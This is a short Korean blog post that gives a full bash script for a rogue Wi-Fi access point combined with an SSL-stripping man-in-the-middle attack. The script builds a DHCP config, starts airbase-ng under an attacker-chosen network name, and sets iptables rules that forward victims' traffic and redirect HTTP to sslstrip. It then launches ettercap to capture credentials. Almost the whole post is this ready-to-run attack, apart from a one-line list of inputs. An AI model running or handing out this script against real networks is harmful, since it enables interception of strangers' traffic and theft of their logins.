본문 바로가기

IT/Script

Rogue AP + SSLStrip 쉘스크립트 [ Fake AP, MITM 공격 ]

2015/01/05 - [모의해킹] - FAKE AP 생성과 MITM / SSL strip 공격


# 위의 글을 쉘스크립트로 만들면


#!/bin/bash


echo "authoritative;

default-lease-time 600;

max-lease-time 7200;

subnet 192.168.1.0 netmask 255.255.255.0 {

option routers 192.168.1.1;

option subnet-mask 255.255.255.0;" > /etc/dhcpd.conf

echo "make your fake ap name (ESSID)"

read string

echo "option domain-name \"$string\";

option domain-name-servers 192.168.1.1;

range 192.168.1.2 192.168.1.240;

}" >> /etc/dhcpd.conf



echo "input your wlan device name (eg. wlan0)"

read string

airmon-ng start $string

#ifconfig $string down

echo "input ESSID again"

read string

airbase-ng -c 11 -e $string mon0 &

sleep 3

ifconfig at0 192.168.1.1 netmask 255.255.255.0

ifconfig at0 mtu 1400

route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

iptables --flush

iptables --table nat --flush

iptables --delete-chain

iptables --table nat --delete-chain

echo "1" > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.0.1

iptables -P FORWARD ACCEPT

iptables --append FORWARD --in-interface at0 -j ACCEPT

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0

service isc-dhcp-server start

sslstrip -f -p -k 10000 &

gnome-terminal -x ettercap -p -u -T -q -i at0



필요한 사용자 입력값 : 지정할 ESSID, 무선랜카드 Number (eg, wlan0, wlan1, wlan2 ...)